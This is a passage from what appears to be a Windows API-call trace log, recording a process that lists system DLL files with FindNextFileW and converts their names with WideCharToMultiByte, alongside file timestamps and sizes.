ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x3ec288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x3ec288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.606] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0026.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOENG.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce47270e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xce47270e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xad59f9a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6c200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AUDIOKSE.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOKSE.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOKSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87266eb6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87266eb6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87266eb6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AudioSes.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOSES.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIOSES.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ceb7bb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x68ceb7bb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AuditNativeSnapIn.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITNATIVESNAPIN.DLL", cchWideChar=21, lpMultiByteStr=0x3ec120, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITNATIVESNAPIN.DLL", lpUsedDefaultChar=0x0) returned 21 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1010d4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6a1010d4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80733960, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AuditPolicyGPInterop.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLICYGPINTEROP.DLL", cchWideChar=24, lpMultiByteStr=0x3ec288, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLICYGPINTEROP.DLL", lpUsedDefaultChar=0x0) returned 24 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6732ea88, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x6732ea88, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xf6ab4570, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x17400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="auditpolmsg.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDITPOLMSG.DLL", cchWideChar=15, lpMultiByteStr=0x3ec120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDITPOLMSG.DLL", lpUsedDefaultChar=0x0) returned 15 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08b31c, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xb08b31c, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808b0720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x51a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="authfwcfg.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWCFG.DLL", cchWideChar=13, lpMultiByteStr=0x3ec288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWCFG.DLL", lpUsedDefaultChar=0x0) returned 13 [0026.607] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a14413, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x9a14413, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x808fe920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x48a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AuthFWGP.dll", cAlternateFileName="")) returned 1 [0026.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWGP.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWGP.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aed7d9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9aed7d9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9af4a1bd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d5000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AuthFWSnapin.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWSNAPIN.DLL", cchWideChar=16, lpMultiByteStr=0x3ec288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWSNAPIN.DLL", lpUsedDefaultChar=0x0) returned 16 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0eeeaef, ftCreationTime.dwHighDateTime=0x1ca0406, ftLastAccessTime.dwLowDateTime=0xcd1a5500, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3931bcc5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AuthFWWizFwk.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHFWWIZFWK.DLL", cchWideChar=16, lpMultiByteStr=0x3ec120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHFWWIZFWK.DLL", lpUsedDefaultChar=0x0) returned 16 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acdeb81, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8acdeb81, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad04ce2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b5800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="authui.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHUI.DLL", cchWideChar=10, lpMultiByteStr=0x3ec288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x714738cc, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x714738cc, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x80ac71d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x18200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="authz.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTHZ.DLL", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTHZ.DLL", lpUsedDefaultChar=0x0) returned 9 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9bee9c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="autoplay.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUTOPLAY.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUTOPLAY.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc3f99b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfdc3f99b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x80b12cc0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AuxiliaryDisplayApi.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYAPI.DLL", cchWideChar=23, lpMultiByteStr=0x3ec120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYAPI.DLL", lpUsedDefaultChar=0x0) returned 23 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a8ae8, 